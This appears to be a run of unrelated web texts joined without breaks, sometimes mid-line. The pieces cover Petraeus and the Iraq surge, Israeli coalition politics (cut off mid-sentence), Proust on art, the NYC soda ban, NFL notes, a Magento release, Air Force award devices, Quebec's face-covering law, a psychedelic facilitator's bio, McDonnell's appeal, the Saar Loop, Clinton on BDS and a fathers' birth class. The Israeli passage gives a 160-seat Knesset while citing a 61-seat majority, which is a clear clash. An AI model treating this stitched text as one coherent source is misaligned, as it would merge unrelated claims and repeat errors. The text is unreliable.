an astounding number. “You can write that off on your income tax as education,’’ he said. His emphasis on physical fitness sometimes seemed like a postmodern version of Hood’s courage: if our generals were not going to face physical danger, they could at least do more pushups than the men who would. Reporters loved it, and so did Petraeus’s fellow-soldiers. Being physically strong still matters in the U.S. Army. General Ray Odierno, as a division commander in Iraq in 2003 and 2004, did as much as any senior officer to push the country toward disaster, but he looked the part: six feet five inches tall, with a bruiser’s physique and a shaved head. He is now the Army chief of staff.
In the summer of 2004, Sanchez was replaced by General George Casey, whose main objective was to train an Iraqi Army and police force to take over so that the Americans could get out. Casey was more effective and sharper than Sanchez—“George Bush has given me a pile of shit,’’ Kaplan quotes him as saying—but his job was to put the best face on an American retreat. As anyone who took a moment to drive the streets could see, the Iraqi Army was incapable of bringing order to the country. Shiite death squads roamed Baghdad. Every morning, scores of Iraqi bodies would turn up, frozen in their last terrible moments: heads bagged, hands cuffed, shot between the eyes. So where did the death squads come from? Many of them were members of the Iraqi Army and the police, which had been trained largely by the Americans. And what American oversaw this training, in the crucial pre-civil-war years of 2004 and 2005? David Petraeus, as the head of Multinational Security Transition Command, during his second tour in Iraq. In that time, the Americans ran a crash program, drawing in tens of thousands of recruits—mostly young Shiites. Some American officials raised concerns, suggesting that the recruits be vetted, but they were rebuffed. On Petraeus’s watch, the Americans armed the Iraqis for civil war. Neither Kaplan nor Ricks (and certainly not Broadwell) explores this aspect of Petraeus’s time in Iraq; it’s the one part of Petraeus’s career that he doesn’t talk much about. By late 2006, the Sunni insurgency had been largely taken over by extremist groups like Al Qaeda in Mesopotamia, who were attacking Shiites, the country’s largest sect. The Shiites turned to their own militia, the Mahdi Army—and to the death squads—to protect them, igniting the civil war. The situation seemed hopeless—and this sense of hopelessness gave an opening to the American insurgents. Kaplan tells the story well. From the beginning of the Iraq war, a number of officers and policy intellectuals, including Petraeus, believed that the war had to be fought a different way. In the few places where the principles of counter-insurgency had been put into practice—as they had in Tal Afar, in 2005, by a gutsy colonel named H. R. McMaster—the anarchy receded. The idea was this: The parties to the civil war—the Sunni minority and the Shiite majority—would never reach an accommodation as long as they were still butchering each other. The only chance lay in forcing a pause that would allow the bargaining to begin. Only a massive deployment of troops could provide that kind of pause. Counter-insurgency was politically risky, because it involved sending more American soldiers to Iraq. The Bush Administration was lobbied from many places: from inside the military, by Petraeus and other like-minded officers, but also, remarkably, from outside—notably, by retired General Jack Keane and Fred Kagan, at the American Enterprise Institute. Kaplan portrays Petraeus as quietly political, working a back channel through Meghan O’Sullivan, Bush’s deputy national-security adviser, whom he’d known in Iraq. Keane went straight to Cheney, cutting out the military. In the end, it happened very fast. When Bush called Casey, he had no idea that his command was coming to an end. In early 2007, with Iraq collapsing and public support in steep decline, Bush ordered the surge of American combat forces—an extra twenty-five thousand soldiers and marines—to fan out across Baghdad. Petraeus took command, and reversed Casey’s strategy of taking Americans off the streets. Petraeus did not predict immediate success—“The rucksack of responsibility is very heavy,’’ he told the troops—but the counter-offensive had begun. Putting theory into practice, he dispersed the troops in Iraqi neighborhoods, in small outposts called Joint Security Stations. This approach, never before attempted on a large scale, was meant to reassure Iraqis that the Americans would protect them around the clock. At the same time, American forces launched an all-out assault on Al Qaeda strongholds that ringed the capital. The first part of the surge was not encouraging: April, May, and June of 2007 were the bloodiest three months of the war. Petraeus seemed like a failure. (Remember that full-page ad in the Times, paid for by MoveOn.org? “General Betray Us.”) Then the mayhem subsided, first gradually, then steeply. By the end of the year, violence in Iraq had dropped sixty per cent. When I returned to Baghdad in September, 2008, after more than a year and a half away, I was stunned by the calm. In Adamiyah, a Sunni neighborhood that had been in the grip of Al Qaeda, I watched Iraqis pour into the streets, clapping and cheering, to celebrate a wedding. Two years after that, the relative calm allowed President Obama to claim plausibly that America’s mission in Iraq had been completed.TEL AVIV — Israel’s thirty-third government was doomed to collapse from the beginning.
The governing coalition consisted of ministers from parties that were completely the opposite of each other on ideological grounds. The Economy Minister — Naftali Bennett of the right-wing, religious-Zionist Jewish Home party — was opposed to any future Palestinian state and wanted to annex part of the West Bank. The Justice Minister — Tzipi Livni of the centrist Hatnuah party — led the peace talks with the Palestinians and was firmly committed to the two-state solution. The primary political alliance that led to this coalition following the last elections in January 2013 was between Bennett, the religious Zionist, and newcomer Yair Lapid, the staunch secularist and political newcomer of the centrist Yesh Atid party who became Finance Minister.
Prime Minister Benjamin Netanyahu — of the center-right Likud party — could perhaps be forgiven for being unable to herd all of these cats together and run a functioning government for more than two years.
How Israeli Elections Work
First, a word on how the electoral system in Israel functions. Here, people vote for a party and not a person in a single, nationwide voting district. If a party receives 10% of the vote, then it gets 10% of the seats in the 160-seat Israeli parliament, the Knesset. (In the next election, a party must reach at least the 3.25% threshold to enter parliament.)
This Wikipedia page shows the January 2013 election results (and the current polling for the next election). To assemble a majority of 61 seats in the Knesset, Netanyahu had to take the Likud’s 20 seats and gain at least 41 more by convincing enough parties to join his coalition.
Enter Bennett and Lapid, who said that they — and their 31 seats — would not join the government if the ultra-Orthodox parties were included. Netanyahu agreed. Livni, who |
metaphorical connections may also be expressed. In a painting, if certain aspects of a flower are highlighted or otherwise portrayed to show the resemblance of the flower to a young girl, the artist is employing metaphor. All metaphors reveal. And each artist, like each person, sees the world differently, and so draws different connections between things, and so creates personalised metaphors. And each new metaphor an artist creates highlights some aspect of their personality: it is to briefly set a candle burning in front of the vast lens of a distinctive mind, causing that lens to focus on a portion of its infinite complexity for a moment. A chain of metaphors sets an even larger light burning; and a supremely masterful artwork like In Search of Lost Time blazes, and can briefly illuminate the entire universe of the imagination, and triumphantly demonstrate the distinctive voice and personality of an individual such as Proust.
So just how is the artist’s (by which I mean a writer’s, etc, as well as a painter’s) perspective revealed in art? It is revealed, says Deleuze, through style. Two different artists tackling the same subject portray that subject in radically different ways. Artistic style is a product of the choices that the artist makes – what to foreground or background, represent or distort, include or eliminate, or the choices of which connections to assert through metaphor. So when an artist tries to portray a sign in art, it invariably takes on the artist’s signature style, which is the artistic manifestation of the artist’s perspective. The style reveals the self. And through the style is also shown the secret message that the sign whispers, since an intense experience is explained by the art produced from it. A sign is like an encrypted message that the artist decodes using her perspective as a private key. The metaphors and connections in the art expose the particular angle of focus of the rich inner depths of a singular human being by which the decrypted sign is thrown into relief.
Art From Signs
So what is the practical process of generating art from a sign? Proust writes that there can be no hard and fast rules for the translation of signs into messages via art, revealing their truths. He does say, however, that genius involves an ability to follow instinct. This is unfortunately vague, but he seems to mean that, at least initially in the artistic process, what is important is not deliberate, logical analysis, but instead a kind of insight that investigates the sign through a type of intuition. Proust does acknowledge that reason is eventually involved. Nevertheless, Proust says that for a writer or artist, the thinking comes after the initial powerful impression.
Gustave Caillebotte, Paris: A Rainy Day, 1877
Proust also mentions that works of art cannot consist entirely in the elaboration of powerful signs. That would be ideal, but such impressions are too rare for this to be possible. There are major aspects of works of art, then, that are instead deliberately, conscientiously contrived. Yet the choicest morsels in a work of art nevertheless come from the artist’s translation of powerful signs. For this the artist is rewarded not only with truth, but also with what Proust considers to be the only true and pure joy, the joy of significant self-knowledge. This is Proust’s great contribution: to show that the only satisfying explanation of our emotions and thoughts, feelings and behaviors, lies in their expression – their translation into a work of art that reveals the perspective of a mind, the perspective that made the sign, and in this, the meaning of the sign too. By this way of art we can make sense of any mental event, however painful or strange. And it is a method both universal and free.
In the past, I naively believed the artistic description of inner experience to be merely a kind of rote transcription of perception, imagination, or thought. Yet Proust asserts that good art is far from mere copying. He decries mere ‘cinematographic art’ which captures its subjects as a camera would. He wants not literal, isolated descriptions, but the demonstration of resemblances and connections between the object depicted and other things. The key point to the expressive way is that the expression of our inner lives through art and metaphor changes the experience. So we live twice: once in the world of events, and the second time in the world of art; and the second time is by far the more important. To paraphrase Socrates, the unexpressed life is not worth living, since deep examination requires expression. Only when we attempt to portray experiences, and by doing so choose what is important about them, are we forced to see them. And so as the artist attempts to depict it, what starts out as a relatively vague idea, memory or emotion, grows detailed, expands, elaborates, unfolds. It morphs from blurry and vague to complex, rich, interesting, magnificent. This is the explanation that does not explain away: the explanation that yields new information without destroying the precious mystery of experience.
Understanding Regained
Although Proust’s work is about a search for lost time, by ‘lost time’ he did not mean mere memories. Rather, he meant that dimension of ourselves which lies outside of normal time. This is the perspective which shapes our recollected pasts, our anticipated futures, and our present moments alike. So to regain time is to know the unconscious that produces our self – to whose existence involuntary memory certainly attests, but for which it is not the only means of access.
Charles Conder, A holiday at Mentone, 1888
To taste our own singular natures, our unique perspective, is sweet. It is the inexhaustible source of all beauty, and it brings joy. This is the lost paradise within ourselves that we can visit by creating art. Moreover, the expressive way shows that all suffering can be meaningful, and is absolutely necessary for beauty. After all, suffering is the feeling of a limitation, or the sense of a desire denied, and the only things capable of causing us suffering are those things which cause us a certain measure of dissatisfaction or pain as we seek to understand or possess them. And yet we see ourselves only by examining our limitations, in other words, through our pain. Happiness is useful mainly, as Proust remarks, for making suffering all the more palpable and poignant. Suffering is what makes things interesting, and thus makes for signs. Since signs are by definition very interesting experiences, suffering frames nearly every sign; so when suffering is artistically portrayed, it reveals truths. But to be meaningful, suffering must be transformed through art. Its signs must be portrayed. And the specific suffering we endure informs our art in specific ways. Suffering is not generic; it is as absolutely distinctive as the precise block of Carrera marble that Michelangelo used to sculpt David. And the work of art produced from a painful experience reveals exactly the mind that suffers to that degree, in that fashion, from that particular limitation of life. Simple happiness is blindness and sleep – comfortable, but not beautiful. In contrast, the meaning of suffering is the artistic flowering of personal truth, whose roots are in the mud of suffering. This is the great counterintuitive truth Proust presents.
The idea of the Proustian translation of signs takes a mundane world and makes it magical, full of meaning. Everything that is noticed is noticed because of the particular perspective of the one noticing. Each reason for seeing a sign represents a judgment that it was beautiful to see the flux of sensory impressions, this world, in this particular way. Art can unearth the reasons for these judgments and demonstrate their beauty.
When we ask philosophical questions, we do not want pat answers, nor do we want to think that the universe is a machine. We want to explore the enigma of the universe, its deepest mystery, without destroying that mystery. Of course, there is a role for physics, as there is for psychology. A mechanistic model can also act as a useful map. But our deepest desires for explanation are not desires for mechanistic, reductive explanations, but instead are calls for exploration and expression.
In Proust’s scheme, art turns out to be the all-purpose hammer of philosophy. It can translate any mental impression into manifest truth. It is the true alchemy. It effects the metamorphosis of suffering into beauty. It is moreover the only religion that serves theists, atheists and agnostics alike, and it is free, wielded differently by each person, and available to everyone. Anyone can find the thrill of discovering the secret messages that lie within any powerful feeling, thought, memory, or question, by portraying them in art employing metaphor. And as the signs are thus decoded, their beauty is revealed. And each beautiful idea can only be revealed by the particular person that experiences it.
All things hold within their soul some secret world that only the viewer can discover. The winking promise of bliss or mystery is a mirage if chased: it recedes eternally into the distance. The mystery can be entered only by expressing it in art.
© Akilesh Ayyar 2014
Akilesh Ayyar is a writer and attorney in Brooklyn, NY. He blogs at Sifting to the Truth.As Baylen Linnekin reports, not only are the usuals mocking NYC Mayor Bloomberg’s plan to ban large-size sugary drinks, but also New York City Democratic mayoral candidate Christine Quinn, writer and healthy-food advocate Bettina Siegel, Jon Stewart, Jake Tapper, Matt Lauer, and The New York Times' editorial page.
Like these public intellectuals, the public also opposes such a ban. Rasmussen found 65 of Americans oppose a law that would ban the sale of any cup or bottle of sweetened drink larger than 16 ounces; 24 percent favor such a law. When asked about the constitutional authority to enact such a law, 9 percent think Bloomberg does have the authority to prevent people from buying sugary drinks, while 85 percent disagree.
Virtually all major demographic groups Rasmussen identified oppose the sugary-drinks ban in equal proportion. The only divergence appears for party identification. Forty-one percent of Democrats favor a ban and 45 percent oppose, in contrast 11 percent of Republicans favor and 80 percent oppose.
Click here for Rasmussen's methodology and question wording.Jameis Winston and the Bucs will make their season debut Sunday against the Bears in Tampa. Don Juan Moore/Getty Images
1. Buccaneers rode out the storm just fine. On Tuesday, when Dirk Koetter convened his team at 6 p.m. ET, 63 of the Bucs’ 64 players (53 on the active roster, 11 on the practice squad) followed along as their head coach delivered a direct message: No one would be feeling sorry for the Bucs. What was left unsaid was that it was a borderline miracle that practically the whole team made it (the one tardy player had a drive that wound up taking 16 hours) there in time to hear it.
How crazy was it getting everyone back? Well, All-Pro defensive tackle Gerald McCoy spent so much time in line at a gas station driving back from Atlanta that he got worried he’d run out, and called GM Jason Licht—about an hour behind McCoy on the way back—to see if Licht could help him with a contingency. Licht then went looking for a hose so he could siphon gas from his car to McCoy’s. McCoy did wind up making it to the pump OK, but what would normally be a 7-hour drive took about 13 hours. So even though Irma didn’t hit Tampa as hard as many had predicted it would, it did make it a monumental challenge for the Bucs to return to the area.
“Our team ops, our player engagement, our COO, they all did such an amazing job of handling the logistical nightmare,” GM Jason Licht said over the phone Wednesday night. “To orchestrate all of this, get everyone out, get everyone safe, then get everyone back, it was incredible. … You go through something like this and to know the resources are in place, with your ownership, it makes you feel good. I know everyone says that about their owners, but (the Glazers) were truly awesome. All the players are saying it today.”
The Glazers chartered five small planes to take those among the staff and players who wanted to go to Charlotte on Saturday, and arranged for all of them to return to Tampa. The Glazers also have put up in hotels the team personnel and families still without power. Meanwhile, much of the legwork fell to COO Brian Ford, senior manager of team operations Tim Jarocki and director of player engagement Duke Preston. They’d come up with contingency plans for practice this week in Minneapolis, Dallas and at the Greenbrier in West Virginia; worked with people like team nutritionist Kevin Luhrs on making sure players were getting what they needed; and then assisted in making sure everyone got back as fast as possible.
And they were scattered. Players had to get back from Georgia, both Carolinas, Tennessee, West Virginia, Pennsylvania, Wisconsin, Texas, California, Wyoming, Louisiana, Ohio and Alabama. And tight end Anthony Auclair was in Canada. The Glazers set up charters on Tuesday from a pair of hubs to Tampa, asking players to get to those hubs, to circumvent the effects of the crush of people trying to return to the area. In the end, they somehow got it done in time for Koetter to address the team Tuesday night, which allowed for a relatively normal week ahead of the Bears game on Sunday.
2. Cam making strides, but not there yet. It’s sometimes said that, after a player goes through ACL surgery, he has to relearn his knee. It’s a way of explaining the process he’ll go through in getting comfortable with a new ligament. That’s not exactly what Cam Newton’s going through right now, but it’s not wholly different either.
Last week, we discussed the coaches’ need to see Newton get out there and really let it rip. Carolina’s 23-3 win over San Francisco proved to the staff that while Newton might not be there yet, he’s well on his way. Newton’s decision-making was good, even if he was late on a couple throws, and missed a couple more. But there were good signs, and maybe the first one actually came on Newton’s second-quarter interception. With Niners defensive end DeForest Buckner coming free and bearing down on him, Newton uncorked one from midfield into the end zone, where Jaquiski Tartt leapt over Kelvin Benjamin for the ball. Newton was late in seeing and throwing that one, but showed confidence in his rehabilitated shoulder in letting it go off his back foot faced with a rusher. Then, in the third quarter, there was a second-and-7 where Newton stood tall in the pocket with the rush closing down and, flat-footed, sent a low frozen-rope into a small window that tight end Greg Olsen found in the deep middle, good for 17 yards. It again showed confidence in his ability to drive the ball.
On the flip side, there were moments where hesitancy cropped up in how he aimed the ball too much, most notably on a second-quarter overthrow to Ed Dickson in the end zone. But given the fact that Newton only threw two passes in the preseason, this was a pretty good start. “Overall,” said one team staffer, “it was very solid.”
3. Jaylon Smith is not all the way back. Or close to it. But the fact that the Dallas linebacker—let’s call him a redshirt freshman—was back out there at all, let alone playing 36 of the team’s 53 defensive snaps last Sunday in a rotation with Justin Durant, is absolutely worth your attention. “His spirit to come back and push through it to play, I think everyone has taken notice of it,” said one club source.
It’s important to remember the kind of player Smith was before suffering nerve damage in his final game at Notre Dame: a linebacker who could rush off the edge and from the middle, cover, play the middle and weakside spots, and seemed borderline unblockable at the end of his career. Smith is not that now. He’s still a ways from getting there, with no guarantee he ever will. But the fact that he can play as he did on Sunday night, making seven tackles and forcing a fumble in a 19-3 win over the Giants, at a fraction of his full capacity as athlete is a pretty good indication of how special a prospect he once was.
So how did Smith play after the tape was graded? Smith’s instincts are there, and he flashed good straight-line speed and an ability to find the ball, close on the ballcarrier, and arrive at him violently, which is sort of Linebacking 101. He forced the fumble on Giants receiver Sterling Shepard, and made a nice play in pursuit to snuff out a reverse to Shepard later in the game. There was some rust, but some hustle too. After Smith overran New York back Orleans Darkwa in the second quarter, which led to a 12-yard gain, Smith was the one who finally tracked down Darkwa.
Smith’s change of direction and reactionary athleticism aren’t where they once were. As a result, this game he was strictly an off-ball linebacker, which protects him to some degree. But he played the position, and played it well. Given the doubts that Smith could make it this far (I’ll raise my hand there), that much is certainly worth applauding.
4. Offensive line issues persist. You guys want hear me go on about the problems with offensive line play in the NFL again? It didn’t take much to see it coming, after all. Middling linemen were breaking the bank in March (Riley Reiff, Matt Kalil, and Russell Okung all got more than $11 million per year), because teams knew there wasn’t much help coming in the draft; the 2017 draft wound being the first one ever to go without a lineman in the Top 15 picks. Then, high-end linemen (Donald Penn, Duane Brown) saw their value rising and held out. And here we are.
How many potential contenders count their offensive line as a major swing factor in their season? Let’s add them up: Giants, Seahawks, Saints, Broncos, Chargers, Bengals, Cardinals, Lions, Panthers, Vikings … That’s 10, and that’s without counting the rebuilding teams (Jets, Colts) that have their own problems up front. And it’s pretty easy to understand why this is happening.
First, the rise of the spread offense in college has made it so the sure-thing left tackle prospect—one of the safest bets in the draft as recently as a decade ago (Jonathan Ogden, Joe Thomas, etc.)—is borderline extinct, with busts like ex-Ram Greg Robinson and ex-Jaguar Luke Joeckel proof of it. Second, the practice rules have wreaked havoc on the ability of coaches to raise the players once they’re pros, and the issue is particularly glaring with backups, who can’t hit much during the season (only 14 in-season full-pad practices are allowed) and aren’t getting any game action because offensive linemen don’t rotate like defensive linemen do. So in general, it’s become harder to draft them, and harder to develop them, and that led to a whole mess of ugly offensive football on Sunday.
I wouldn’t expect this area to improve a ton as the year goes on, either. In March, we wrote about the group of coaches who made their case at the league meeting for changing the work rules to allow for better player development. Offensive line play should be Exhibit A for their argument.We're excited to announce that the newest version of Magento Enterprise Edition– version 1.13 – is now available.
There are thousands of merchants doing many different and innovative things on Magento Enterprise - from revolutionizing how customers buy eyewear to building mobile salesforce automation applications for a global sales team. But there is one thing that Magento Enterprise merchants are ALL doing….GROWING!
As our merchants grow, we need to ensure that Magento continues to grow with them. That's why we're excited to announce Magento Enterprise 1.13, the most powerful and scalable version of Magento ever.
Key performance and scalability enhancements of Magento 1.13:
Optimized Indexing
We've optimized the Magento Enterprise indexing process to enable significantly faster indexing with limited to no impact to the customer's shopping experience. This will make it easier for you to add and update products more frequently while ensuring your URLs, promotions, navigational menus and product search tools are always completely up to date, while never slowing down the performance of your online store.
The introduction of incremental indexing reduces the need to perform a full re-index and most indexing operations are now automated - saving you and your staff time and energy to focus on revenue-generating activities.
Improved Caching
The full page caching capabilities in Magento Enterprise help ensure that high volume pages load quickly. We've improved our caching to enable even greater performance by invalidating only relevant pages making it easier to cache content without affecting site performance for your customers. Improved caching performance also drastically reduces server load enabling your to store to support even larger traffic volumes while conducting back end operations.
Speedier Checkout Flow
1.13 showcases tremendous improvements in further speeding up the checkout process by reducing page load times for browsing and placing orders. Faster checkout can significantly improve your customers' shopping experience and customer satisfaction.
Enhanced Tax Calculations Algorithms
This latest version of Magento Enterprise Edition improves tax calculation algorithms eliminating potential rounding offsets that can be displayed on buyer facing screens. This release also provides additional support for Canadian tax requirements.
Functional Improvements
We've also made approximately 350 functional improvements in key areas including in the web store and shopping cart, admin order creation, import and export functionality, web API components and payment methods.
When it comes to Magento's ability to scale, Enterprise Edition 1.13 is the most dramatic step forward in this history of our platform, and we're confident 1.13 will support you through your next level of success in whatever innovative way you utilize Magento.
You can get all the details about Magento Enterprise Edition 1.13 here
Ready to take your business to the next level? Contact us and we'll help you get started.
If you're already a Magento Enterprise customer, you can immediately access the new 1.13 release in the My Account section of the Magento website.
We hope you enjoy these new capabilities and we look forward to helping you achieve even greater eCommerce success.Air Force officials released criteria for the new “V”, “C” and “R” devices, following the secretary of Defense’s Jan. 7, 2016, authorization.Following a comprehensive Military Decorations and Awards Review in 2015, the secretary of Defense implemented several changes to ensure the Defense Department’s military decoration and awards program continues to appropriately recognize the service, sacrifices and actions of service members.“As the impact of remote operations on combat continues to increase, the necessity of ensuring those actions are distinctly recognized grows,” DOD officials explained in a memo released Jan. 7, 2016.The “R” device, which may be affixed to non-combat performance awards, was established to distinguish that an award was earned for direct hands-on employment of a weapon system that had a direct and immediate impact on a combat or military operation. These actions can be performed in any domain but must not expose the individual to personal hostile action, or place him or her at significant risk of exposure to hostile action while engaged in military operations against an enemy of the U.S.; or involved in a conflict against an opposing foreign force; or while serving with friendly foreign forces engaged in military operations with an opposing armed force in which the U.S. is not an aggressive party.“Airmen assigned to cyber operations and intelligence, surveillance and reconnaissance operators would be examples of those eligible for the ‘R’ device,” said Lt. Gen. Gina Grosso, the deputy chief of staff for manpower, personnel and services. “These members create direct combat effects that lead to strategic outcomes and deliver lethal force, while physically located outside the combat area.”The standardization of the “V” device as a valor-only device will ensure unambiguous and distinctive recognition of distinguished acts of combat heroism.The new “C” device was created to distinctly recognize those service members performing meritoriously under the most difficult combat conditions. To further emphasize the value placed on meritorious service under combat conditions, the “C” device may be affixed to several performance awards earned while serving under combat conditions. Unlike the “R” device, the “C” device may be authorized for sustained performance or service, provided the criteria of personal exposure to hostile action or significant risk of hostile action are met.All devices may be awarded retroactive to Jan. 7, 2016, the day the secretary of Defense established the devices.For more information on Air Force recognition programs, visit myPers, the Air Force Personnel Services website, atAlberta's premier says Quebec legislation that bans people from providing or receiving public services with their faces covered represents a sad day for Canada.
The controversial religious neutrality bill passed on Wednesday and will apply even while riding the bus.
The law has been criticized for targeting Muslim women, but Quebec Health Minister Gaetan Barrette says the legislation was, in his word, "democracy in action."
Speaking after a health ministers meeting in Edmonton, Barrette said the legislation reflects public opinion in Quebec.
Alberta Premier Rachel Notley says the ban doesn't make sense and "smacks of Islamophobia."
Notley says she suspects the legislation doesn't meet the values that the Charter of Rights and Freedoms is intended to protect.
'Very unfortunate'
She says Alberta takes pride in celebrating diversity and the ban isn't the sort of thing Canadians would support.
"The passage of that bill is a sad day for Canada. I think that it is damaging for marginalized women and it's very unfortunate," Notley said Friday after receiving an award from Equal Voice, a national organization dedicated to electing more women in Canada.
"The only way it holds together logically is if you're in some way trying to move forward with some element of Islamophobia and that's not who we are as Canadians."
Barrette said the bill was passed by a slim margin and those who voted against it did so because they didn't think the legislation went far enough.
"Something had to be done because it was Quebec's situation," he said. "That's the reality.
"We think we did the right thing."×
Lode Lhamo
Hi, I’m Lode, one of the Lead facilitators on the Experience Retreats. I also run Dharma-Delia, a Buddhist meditation class for consciousness explorers at the Psychedelic Society headquarters, and am a trainee transpersonal psychotherapist practicing in London, passionate about the synergy between psychotherapy, and meditative and psychedelic non-ordinary states of consciousness.
For as long as I can remember, I have always been fascinated by the human mind. This deep-seated curiosity led me in my late teens on a wonderful journey to India, Nepal, Bhutan and Thailand where I discovered Buddhism and attended my first meditation retreats, after years of searching for insights and answers in Western philosophy and various religious and spiritual traditions. Words truly cannot express the way in which Buddhism has changed my life, and continues to do so daily. In 2009 at the end of my travels, I finally met my root teacher, a Tibetan Buddhist master in the Vajrayana tradition. Since then, I have been training extensively under his close guidance, and have so far spent just over 600 days in retreat, including some prolonged periods of complete silence and solitude.
It was also up in the Himalayas that I had my very first psychedelic experiences, which also opened up some significant doors into the inner realms of our being — our heart, our aliveness, our connectedness to one another and to the Earth. I am so grateful for these precious opportunities, and feel deeply honoured to now be holding space for people to embark on similarly transformative journeys. I bring to my work a deep appreciation of the potential of the human heart, as well as a genuine longing to live purposefully by helping and benefiting others to the very best of my ability.Story highlights Former Virginia Gov. Bob McDonnell was convicted on federal corruption charges in 2014
He received money and loans from Jonnie R. Williams, the CEO Star Scientific, who was seeking state support in a bid to get FDA approval for a dietary supplement his company was developing called Anatabloc
Washington (CNN) The Supreme Court agreed on Friday to hear an appeal from former Virginia Gov. Bob McDonnell, once a rising star in Republican politics, who was convicted on federal corruption charges in 2014.
It is unclear yet if the court will hear the case this term or next. McDonnell was sentenced to two years in prison but last August the Supreme Court granted an emergency motion allowing him to stay out of jail while the justices considered whether to take up the case.
"I am very grateful to the U.S. Supreme Court for its decision today to hear my case," McDonnell said in a statement Friday. "I am innocent of these crimes and ask the Court to reverse these convictions. I maintain my profound confidence in God's grace to sustain me and my family, and thank my friends and supporters across the country for their faithfulness over these past three years."
The case essentially centers around the question of just what constitutes the scope of an "official action" under federal corruption law. In 2014, a federal jury in the U.S. District Court for the Eastern District of Virginia convicted him of 11 counts finding that he violated the law when he received money and loans from Jonnie R. Williams, the CEO of a Virginia based company called Star Scientic, in exchange for official acts. Williams was seeking state support in a bid to get FDA approval for a dietary supplement his company was developing called Anatabloc.
"In 2011 and 2012," Solicitor General Donald B. Verrilli wrote in Court briefs, "while petitioner was the Governor of Virginia, he and his wife Maureen McDonnell solicited and secretly accepted more than $175,000 in money and luxury goods from Jonnie Williams." The funds included loans, deluxe shopping trips, golf outings and a Rolex watch.
Read MoreThe Saar River rises in the Vosges mountains on the border of Alsace and Lorraine, in France, then flows northward through western Germany to its confluence with Mosel river, near Trier. Within Germany the Saar River pursues a winding course until it reaches a barrier in the form of Hunsrück, a low mountain range made of hard quartzite rock. Quartzite is a hard, metamorphic rock which was originally sandstone. Sandstone is converted into quartzite through heating and pressure usually related to tectonic compression. The river, unable to carve a way through the rocks, makes a full 180-degree turn and cuts a deep U-shaped gorge through the thickly wooded mountains. This remarkable hairpin bend located above Mettlach is called the Saar Loop or Saarschleife in German, and is one of the most famous sights of Saarland. The river flows parallel for a long stretch in the opposite direction before turning left and continuing its northward journey towards Mosel river.
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The best views of Saarschleife are to be had from Cloef, a rocky lookout point at the apex of the Saar loop about 180 meters above the river. A panoramic viewpoint has been built here for the sake of tourists.
On the wooded ridge within the Saar loop, lies the Church of St. Gangolf and the ruins of the 12th century Montclair Castle. The castle is located about 290 metres above sea level on the high ridge of the Saar loop, the so-called Castle Hill. It can be reached by boat. Both on the inside as well as on the outside loop, runs a continuous walking and bike path.
The Saar Loop is also known as the Great Saar loop at Mettlach, for further downstream in the municipality of Taben-Rodt, the Saar river makes another loop called the Small Saar loop, although not as spectacular as it’s bigger brethren.
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The lookout at Cloef near Orscholz. Photo credit
Montclair Castle within the Saar Loop. Photo credit
View of the Small Saar loop with the district Hamm. Photo credit
Sources: Wikipedia / Maria Croon / Waymarking / Fluidr.comDemocratic presidential contender Hillary Clinton called the Israel boycott movement “alarming” in a speech Monday, characterizing activists as anti-Semitic and accusing them of “bullying” Jewish students on college campuses.
“Many of the young people here today are on the front lines of the battle to oppose the alarming Boycott, Divestment, and Sanctions movement known as BDS,” said Clinton, speaking at the annual policy conference of the American Israeli Public Affairs Committee (AIPAC). “Particularly at a time when anti-Semitism is on the rise across the world, especially in Europe, we must repudiate all efforts to malign, isolate, and undermine Israel and the Jewish people.”
BDS is a global movement of activists looking to pressure Israel into ending its occupation of the West Bank and restoring the rights of Israel’s Arab-Palestinian citizens. Opponents of BDS activism on campus frequently accuse BDS activists of “bullying opponents into silence” or trying to “de-legitimize Israel.”
In the past couple of years, AIPAC has aggressively promoted anti-BDS legislation, including legislation in some states to block funding for public universities that adopt divestment resolutions.
This is not the first time Clinton has signaled opposition to the BDS movement. Last year, in a public letter to Haim Saban, she called the movement an “attack” and “the latest attempt to single Israel out on the world stage.”
Jewish peace activists were quick to respond to Clinton’s remarks.
“At Columbia, the launch of our BDS campaign last month has created very healthy and necessary conversation within Jewish spaces on campus,” said Eva Kalikoff, co-chair of Columbia’s Chapter of Jewish Voice for Peace. “The idea that pro-Palestine students are bullying anti-Palestine students is offensive to the movement for Palestinian liberation.”
“The reality is that the campus supporters of BDS are condemning the Israeli government and its actions, not any student on campus,” said Abby Harms, a Palestinian rights activist at Josef Korbel School of International Studies in Denver. “University divestment campaigns were the initial successes of the boycott movement against South Africa that eventually led to global sanctions and divestment.”
Pro-Palestinian activism faces harsh resistance and censorship on college campuses. A report released last year by Palestine Legal documented hundreds of incidents of punishment and reprisal, including the firing of a pro-Palestinian professor, numerous suspensions of pro-Palestinian activists, the de-funding of student groups, and a student forced to take down a Palestinian flag.
Jewish peace activists have also been victims of exclusion from campus Jewish communities. Hillel Israel, the largest Jewish campus organization in the world, has published “Standards of Partnership,” instructing college Hillel groups to exclude organizations supporting BDS.
“I think that such characterizations do a disservice to any Jewish people who have been subject to true forms of anti-Semitism,” said Eitan Peled, the coordinator of Open Hillel at UCLA, an organization of Jewish students dedicated to making Hillel fellowships inclusive of dissenting views, in a statement emailed to The Intercept. “There is nothing anti-Semitic about promoting equal rights for Palestinians.”
According to Peled, when the UCLA chapter of Jewish Voice for Peace applied to be a member organization of UCLA’s Hillel fellowship, students were instructed to fill out a detailed, five-page questionnaire asking about their views on BDS, Hamas, Palestinian media, and whether “students at Hillel … feel bullied by pro-BDS students.” The chapter was denied membership.
In a statement emailed to The Intercept, Hillel International responded: “We welcome our students to express a diversity of opinions about Israel. Outside groups or speakers that are anti-Zionist, support the BDS movement, or deny Israel’s right to exist will not be hosted or given a platform by Hillel International.”
“If there is any institutional exclusion regarding this issue, it is the exclusion of Jewish activists who support BDS,” Peled said. “Jewish institutions such as Hillel International have essentially introduced a political litmus test within the Jewish community. There is no such political litmus test in the activist spaces I support.”
Opposition to BDS activism has an even stronger foothold overseas. In October, France’s highest appeals court ruled that BDS activists handing out fliers were guilty of “incitement and discrimination,” and last week, a woman was arrested for wearing a T-shirt that read, “Boycott Apartheid Israel.” In February, the U.K. government announced that it would block universities and public authorities from supporting Palestinian rights through investment practices.Beer and Bubs is a one–night session at the pub where expectant dads learn how to support their partner through the birth of their baby. Childbirth is daunting for men too and this session prepares fathers for an active, caring role.
The program helps men gain the practical knowledge they need to be involved in the births of their children in a positive way and to get the fatherhood adventure started with a memorable and empowering experience. And most men would rather head to the pub anyway.
Beer + Bubs is perfect for first time fathers who don’t know what they’re in for as well as those going back for a second or third round who weren’t well prepared the first time. It’s ideal for expectant dads who have done antenatal classes, but have come out the other end with little practical understanding of their role at the birth. It’s also perfect for a brush up when it’s been a long time since the birth of the last child.
